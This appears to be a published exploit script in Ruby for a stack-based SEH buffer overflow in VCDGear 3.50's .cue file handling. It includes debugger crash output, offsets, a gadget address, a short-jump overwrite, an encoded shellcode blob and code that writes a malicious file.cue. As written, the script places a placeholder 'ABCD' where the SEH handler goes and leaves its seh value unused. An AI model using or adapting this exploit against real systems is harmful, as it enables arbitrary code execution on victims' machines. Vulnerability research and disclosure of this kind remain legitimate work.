VCDGear 3.50 (.cue) - Stack Buffer Overflow Exploit

#!/usr/bin/ruby

'''

# Author: Provensec www.provensec.com <advisories@provensec.com >

# Tested on XP SP3 / Windows 7

# Description: VCDGEAR 3.50 is prone to a stack-based buffer overflow

vulnerability because the application fails to perform adequate

boundary-checks on user-supplied input.

# An attacker can exploit this issue to execute arbitrary code in the

context of the application. Failed exploit attempts will result in a

denial-of-service condition.

# Application vendor: VCDGear 3.50 -

http://www.vcdgear.com/files/vcdgear350.zip

# 0x00499a1e : pop ecx # pop ebp # ret 0x0c | startnull {PAGE_EXECUTE_READ}

[vcdgear.exe]

# ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-

# SEH record (nseh field) at 0x0012f7a4 overwritten with normal pattern :

0x35744134 (offset 580), followed by 1416 bytes of cyclic data

# Project1!ScandataFinalize+0x441:

# 00452ff9 c6841553fdffff00 mov byte ptr [ebp+edx-2ADh],0

ss:0023:4112f660=??

# 0:000> !exchain

# 0012f7a4: 44434241

# Invalid exception stack at 909006eb

# 0:000> !exploitable

# *** ERROR: Symbol file could not be found. Defaulted to export symbols

for C:\WINDOWS\system32\USER32.dll -

# *** ERROR: Symbol file could not be found. Defaulted to export symbols

for C:\WINDOWS\system32\kernel32.dll -

# Exploitability Classification: EXPLOITABLE

'''

shellcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa4" +

"\x0d\x2b\xba\x83\xeb\xfc\xe2\xf4\x58\xe5\x6f\xba\xa4\x0d\xa0\xff" +

"\x98\x86\x57\xbf\xdc\x0c\xc4\x31\xeb\x15\xa0\xe5\x84\x0c\xc0\xf3" +

"\x2f\x39\xa0\xbb\x4a\x3c\xeb\x23\x08\x89\xeb\xce\xa3\xcc\xe1\xb7" +

"\xa5\xcf\xc0\x4e\x9f\x59\x0f\xbe\xd1\xe8\xa0\xe5\x80\x0c\xc0\xdc" +

"\x2f\x01\x60\x31\xfb\x11\x2a\x51\x2f\x11\xa0\xbb\x4f\x84\x77\x9e" +

"\xa0\xce\x1a\x7a\xc0\x86\x6b\x8a\x21\xcd\x53\xb6\x2f\x4d\x27\x31" +

"\xd4\x11\x86\x31\xcc\x05\xc0\xb3\x2f\x8d\x9b\xba\xa4\x0d\xa0\xd2" +

"\x98\x52\x1a\x4c\xc4\x5b\xa2\x42\x27\xcd\x50\xea\xcc\xfd\xa1\xbe" +

"\xfb\x65\xb3\x44\x2e\x03\x7c\x45\x43\x6e\x4a\xd6\xc7\x0d\x2b\xba"

filename = "file.cue"

header = " BINARY\n"

header += " TRACK 01 MODE2\2352\n"

header += " INDEX 01 00:00:00\n"

nops = "\x90" * 20

junk = "\x41" * 324

nseh = "\xeb\x06\x90\x90"

seh = "\x1e\x9a\x49\x00"

padding = "D" * (1412-(nops.length+shellcode.length))

data = "FILE \"" + junk + nseh + "ABCD" + nops + shellcode + padding + "\"" + header

puts "[*] JUNK size: %i\n" % [junk.length]

puts "[*] SHELLCODE size: %i\n" % [shellcode.length]

puts "[*] PADDING size: %i" % [padding.length]

File.open(filename, 'wb') do |fd|

fd.write data

puts "[*] FILE CREATED SUCCESSFULLY"

end